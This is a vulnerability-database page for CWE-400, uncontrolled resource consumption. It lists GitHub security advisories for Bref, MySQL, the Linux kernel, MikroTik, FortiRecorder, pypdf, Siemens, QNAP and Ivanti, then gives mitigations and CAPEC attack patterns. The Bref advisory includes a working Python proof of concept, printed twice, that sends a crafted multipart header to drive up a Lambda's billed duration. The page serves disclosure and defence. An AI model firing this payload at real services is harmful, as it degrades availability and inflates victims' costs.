Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5412 vulnerabilities reference this CWE, most recent first.

GHSA-J4HQ-F63X-F39R

Vulnerability from github – Published: 2024-03-22 16:57 – Updated: 2024-03-22 20:02
VLAI
Summary
Slow String Operations via MultiPart Requests in Event-Driven Functions
Details

Impacted Resources

bref/src/Event/Http/Psr7Bridge.php:94-125 multipart-parser/src/StreamedPart.php:383-418

Description

When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the Content-Type header of each part is read using the Riverline/multipart-parser library.

The library, in the StreamedPart::parseHeaderContent function, performs slow multi-byte string operations on the header value. Precisely, the mb_convert_encoding function is used with the first ($string) and third ($from_encoding) parameters read from the header value.

Impact

An attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.

The attack has the following requirements and limitations: - The Lambda should use the Event-Driven Function runtime. - The Lambda should use the RequestHandlerInterface handler. - The Lambda should implement at least an endpoint accepting POST requests. - The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref). - If the Lambda uses a PHP runtime <= php-82 the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request.

Notice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.

PoC

  1. Create a new Bref project.
  2. Create an index.php file with the following content:
<?php

namespace App;

require __DIR__ . '/vendor/autoload.php';

use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;

class MyHttpHandler implements RequestHandlerInterface
{
    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        return new Response(200, [], "OK");
    }
}

return new MyHttpHandler();
  1. Use the following serverless.yml to deploy the Lambda:
service: app

provider:
    name: aws
    region: eu-central-1

plugins:
    - ./vendor/bref/bref

# Exclude files from deployment
package:
    patterns:
        - '!node_modules/**'
        - '!tests/**'

functions:
    api:
        handler: index.php
        runtime: php-83
        events:
            - httpApi: 'ANY /endpoint'
  1. Run the following python script with as first argument the domain assigned to the Lambda (e.g. python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com):
from requests import post
from sys import argv

if len(argv) != 2:
    print(f"Usage: {argv[0]} <domain>")
    exit()

url = f"https://{argv[1]}/endpoint"
headers = {"Content-Type": "multipart/form-data; boundary=a"}
data_normal = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n--a--\r\n"
data_malicious = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n\r\n\r\n--a--\r\n"

print("[+] Sending normal request")
post(url, headers=headers, data=data_normal)

print("[+] Sending malicious request")
post(url, headers=headers, data=data_malicious)
  1. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious Content-Type header, used more than 400ms of billed duration.

Suggested Remediation

Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "bref/bref"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-22T16:57:40Z",
    "nvd_published_at": "2024-03-22T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "## Impacted Resources\n\nbref/src/Event/Http/Psr7Bridge.php:94-125\nmultipart-parser/src/StreamedPart.php:383-418\n\n## Description\n\nWhen Bref is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object.\nDuring the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the `Content-Type` header of each part is read using the [`Riverline/multipart-parser`](https://github.com/Riverline/multipart-parser/) library.\n\nThe library, in the `StreamedPart::parseHeaderContent` function, performs slow multi-byte string operations on the header value.\nPrecisely, the [`mb_convert_encoding`](https://www.php.net/manual/en/function.mb-convert-encoding.php) function is used with the first (`$string`) and third (`$from_encoding`) parameters read from the header value.\n\n## Impact\n\nAn attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.\n\nThe attack has the following requirements and limitations:\n- The Lambda should use the Event-Driven Function runtime.\n- The Lambda should use the `RequestHandlerInterface` handler.\n- The Lambda should implement at least an endpoint accepting POST requests.\n- The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref).\n- If the Lambda uses a PHP runtime \u003c= php-82 the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request.\n\nNotice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.\n\n## PoC\n\n1. Create a new Bref project.\n2. Create an `index.php` file with the following content:\n```php\n\u003c?php\n\nnamespace App;\n\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\nuse Nyholm\\Psr7\\Response;\nuse Psr\\Http\\Message\\ResponseInterface;\nuse Psr\\Http\\Message\\ServerRequestInterface;\nuse Psr\\Http\\Server\\RequestHandlerInterface;\n\nclass MyHttpHandler implements RequestHandlerInterface\n{\n    public function handle(ServerRequestInterface $request): ResponseInterface\n    {\n        return new Response(200, [], \"OK\");\n    }\n}\n\nreturn new MyHttpHandler();\n\n```\n3. Use the following `serverless.yml` to deploy the Lambda:\n```yaml\nservice: app\n\nprovider:\n    name: aws\n    region: eu-central-1\n\nplugins:\n    - ./vendor/bref/bref\n\n# Exclude files from deployment\npackage:\n    patterns:\n        - \u0027!node_modules/**\u0027\n        - \u0027!tests/**\u0027\n\nfunctions:\n    api:\n        handler: index.php\n        runtime: php-83\n        events:\n            - httpApi: \u0027ANY /endpoint\u0027\n```\n4. Run the following python script with as first argument the domain assigned to the Lambda (e.g. `python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com`):\n```python\nfrom requests import post\nfrom sys import argv\n\nif len(argv) != 2:\n    print(f\"Usage: {argv[0]} \u003cdomain\u003e\")\n    exit()\n\nurl = f\"https://{argv[1]}/endpoint\"\nheaders = {\"Content-Type\": \"multipart/form-data; boundary=a\"}\ndata_normal = f\"--a\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\n\\r\\nContent-Type: ;*=auto\u0027\u0027{(\u0027a\u0027*(4717792))}\u0027\\r\\n--a--\\r\\n\"\ndata_malicious = f\"--a\\r\\nContent-Disposition: form-data; name=\\\"0\\\"\\r\\nContent-Type: ;*=auto\u0027\u0027{(\u0027a\u0027*(4717792))}\u0027\\r\\n\\r\\n\\r\\n--a--\\r\\n\"\n\nprint(\"[+] Sending normal request\")\npost(url, headers=headers, data=data_normal)\n\nprint(\"[+] Sending malicious request\")\npost(url, headers=headers, data=data_malicious)\n\n```\n5. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious `Content-Type` header, used more than 400ms of billed duration.\n\n## Suggested Remediation\n\nPerform an additional validation on the headers parsed via the `StreamedPart::parseHeaderContent` function to allow only legitimate headers with a reasonable length.",
  "id": "GHSA-j4hq-f63x-f39r",
  "modified": "2024-03-22T20:02:19Z",
  "published": "2024-03-22T16:57:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/brefphp/bref/security/advisories/GHSA-j4hq-f63x-f39r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/brefphp/bref/commit/5f7c0294628dbcec6305f638ff7e2dba8a1c2f45"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/brefphp/bref"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Slow String Operations via MultiPart Requests in Event-Driven Functions"
}

GHSA-J4RF-JC84-8583

Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2025-11-04 18:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.37 and prior and 8.4.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T23:15:21Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.37 and prior and  8.4.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-j4rf-jc84-8583",
  "modified": "2025-11-04T18:31:08Z",
  "published": "2024-07-17T00:32:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21177"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240801-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4W8-RJ66-G2Q9

Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2024-04-04 02:50
VLAI
Details

An issue was discovered in the Linux kernel 4.18 through 5.6.11 when unprivileged user namespaces are allowed. A user can create their own PID namespace, and mount a FUSE filesystem. Upon interaction with this FUSE filesystem, if the userspace component is terminated via a kill of the PID namespace's pid 1, it will result in a hung task, and resources being permanently locked up until system reboot. This can result in resource exhaustion.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-20794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-09T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in the Linux kernel 4.18 through 5.6.11 when unprivileged user namespaces are allowed. A user can create their own PID namespace, and mount a FUSE filesystem. Upon interaction with this FUSE filesystem, if the userspace component is terminated via a kill of the PID namespace\u0027s pid 1, it will result in a hung task, and resources being permanently locked up until system reboot. This can result in resource exhaustion.",
  "id": "GHSA-j4w8-rj66-g2q9",
  "modified": "2024-04-04T02:50:47Z",
  "published": "2022-05-24T17:17:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20794"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sargun/fuse-example"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200608-0001"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/p/fuse/mailman/message/36598753"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/08/24/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4X4-M535-6JRW

Vulnerability from github – Published: 2022-05-14 00:55 – Updated: 2022-05-14 00:55
VLAI
Details

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a memory exhaustion vulnerability. An authenticated remote attacker can crash the HTTP server and in some circumstances reboot the system via a crafted HTTP POST request.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-1157"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-23T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a memory exhaustion vulnerability. An authenticated remote attacker can crash the HTTP server and in some circumstances reboot the system via a crafted HTTP POST request.",
  "id": "GHSA-j4x4-m535-6jrw",
  "modified": "2022-05-14T00:55:56Z",
  "published": "2022-05-14T00:55:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1157"
    },
    {
      "type": "WEB",
      "url": "https://mikrotik.com/download/changelogs"
    },
    {
      "type": "WEB",
      "url": "https://mikrotik.com/download/changelogs/bugfix-release-tree"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2018-21"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Jul/20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4XG-W995-95XH

Vulnerability from github – Published: 2023-03-07 18:30 – Updated: 2023-03-14 21:30
VLAI
Details

An uncontrolled resource consumption vulnerability [CWE-400] in FortiRecorder version 6.4.3 and below, 6.0.11 and below login authentication mechanism may allow an unauthenticated attacker to make the device unavailable via crafted GET requests.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-41333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "An uncontrolled resource consumption vulnerability [CWE-400] in FortiRecorder version 6.4.3 and below, 6.0.11 and below login authentication mechanism may allow an unauthenticated attacker to make the device unavailable via crafted GET requests.",
  "id": "GHSA-j4xg-w995-95xh",
  "modified": "2023-03-14T21:30:21Z",
  "published": "2023-03-07T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41333"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-22-388"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/171766/FortiRecorder-6.4.3-Denial-Of-Service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J543-4VMF-QM7V

Vulnerability from github – Published: 2026-06-16 13:47 – Updated: 2026-06-16 13:47
VLAI
Summary
pypdf: Possible large memory usage for form XObjects during text extraction
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting the text of a page which contains a form XObject with self-references.

Patches

This has been fixed in pypdf==6.12.2.

Workarounds

If you cannot upgrade yet, consider applying the changes from PR #3805.

Severity
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T13:47:08Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting the text of a page which contains a form XObject with self-references.\n\n### Patches\nThis has been fixed in [pypdf==6.12.2](https://github.com/py-pdf/pypdf/releases/tag/6.12.2).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3805](https://github.com/py-pdf/pypdf/pull/3805).",
  "id": "GHSA-j543-4vmf-qm7v",
  "modified": "2026-06-16T13:47:08Z",
  "published": "2026-06-16T13:47:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-j543-4vmf-qm7v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3805"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf: Possible large memory usage for form XObjects during text extraction"
}

GHSA-J585-83XV-Q5C7

Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2024-11-18 16:26
VLAI
Details

Specially crafted PROFINET DCP packets sent on a local Ethernet segment (Layer 2) to an affected product could cause a denial of service condition of that product. Human interaction is required to recover the system. PROFIBUS interfaces are not affected. This vulnerability affects only SIMATIC HMI Multi Panels and HMI Mobile Panels, and S7-300/S7-400 devices.

Severity
6.5 (Medium)
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-2681"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-11T10:29:00Z",
    "severity": "HIGH"
  },
  "details": "Specially crafted PROFINET DCP packets sent on a local Ethernet segment (Layer 2) to an affected product could cause a denial of service condition of that product. Human interaction is required to recover the system. PROFIBUS interfaces are not affected. This vulnerability affects only SIMATIC HMI Multi Panels and HMI Mobile Panels, and S7-300/S7-400 devices.",
  "id": "GHSA-j585-83xv-q5c7",
  "modified": "2024-11-18T16:26:20Z",
  "published": "2022-05-13T01:02:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2681"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-293562.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-293562.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-293562.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/98369"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038463"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J5JM-RPPG-H4J8

Vulnerability from github – Published: 2024-02-02 18:30 – Updated: 2024-02-02 18:30
VLAI
Details

An uncontrolled resource consumption vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to launch a denial-of-service (DoS) attack via a network.

We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later

Severity
5.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-45028"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-02T16:15:50Z",
    "severity": "MODERATE"
  },
  "details": "An uncontrolled resource consumption vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow authenticated administrators to launch a denial-of-service (DoS) attack via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.5.2645 build 20240116 and later\nQuTS hero h5.1.5.2647 build 20240118 and later\nQuTScloud c5.1.5.2651 and later\n",
  "id": "GHSA-j5jm-rppg-h4j8",
  "modified": "2024-02-02T18:30:31Z",
  "published": "2024-02-02T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45028"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-24-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J5JP-QGCC-M868

Vulnerability from github – Published: 2023-11-15 00:31 – Updated: 2023-11-15 00:31
VLAI
Details

When a specific component is loaded a local attacker and is able to send a specially crafted request to this component, the attacker could gain elevated privileges on the affected system.

Severity
8.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-38043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-15T00:15:07Z",
    "severity": "HIGH"
  },
  "details": "When a specific component is loaded a local attacker and is able to send a specially crafted request to this component, the attacker could gain elevated privileges on the affected system.",
  "id": "GHSA-j5jp-qgcc-m868",
  "modified": "2023-11-15T00:31:08Z",
  "published": "2023-11-15T00:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38043"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Security-fixes-included-in-the-latest-Ivanti-Secure-Access-Client-Release"
    },
    {
      "type": "WEB",
      "url": "https://northwave-cybersecurity.com/vulnerability-notice/arbitrary-kernel-function-call-in-ivanti-secure-access-client"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J5JQ-7977-4WM2

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-05-24 17:14
VLAI
Details

A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (All versions), SIMATIC CP 443-1 (incl. SIPLUS NET variants) (All versions), SIMATIC CP 443-1 Advanced (incl. SIPLUS NET variants) (All versions), SIMATIC RF180C (All versions), SIMATIC RF182C (All versions). The VxWorks-based Profinet TCP Stack can be forced to make very expensive calls for every incoming packet which can lead to a denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-19301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-14T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in SCALANCE X-200 switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-200IRT switch family (incl. SIPLUS NET variants) (All versions), SCALANCE X-300 switch family (incl. X408 and SIPLUS NET variants) (All versions), SIMATIC CP 443-1 (incl. SIPLUS NET variants) (All versions), SIMATIC CP 443-1 Advanced (incl. SIPLUS NET variants) (All versions), SIMATIC RF180C (All versions), SIMATIC RF182C (All versions). The VxWorks-based Profinet TCP Stack can be forced to make very expensive calls for every incoming packet which can lead to a denial of service.",
  "id": "GHSA-j5jq-7977-4wm2",
  "modified": "2022-05-24T17:14:10Z",
  "published": "2022-05-24T17:14:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19301"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-102233.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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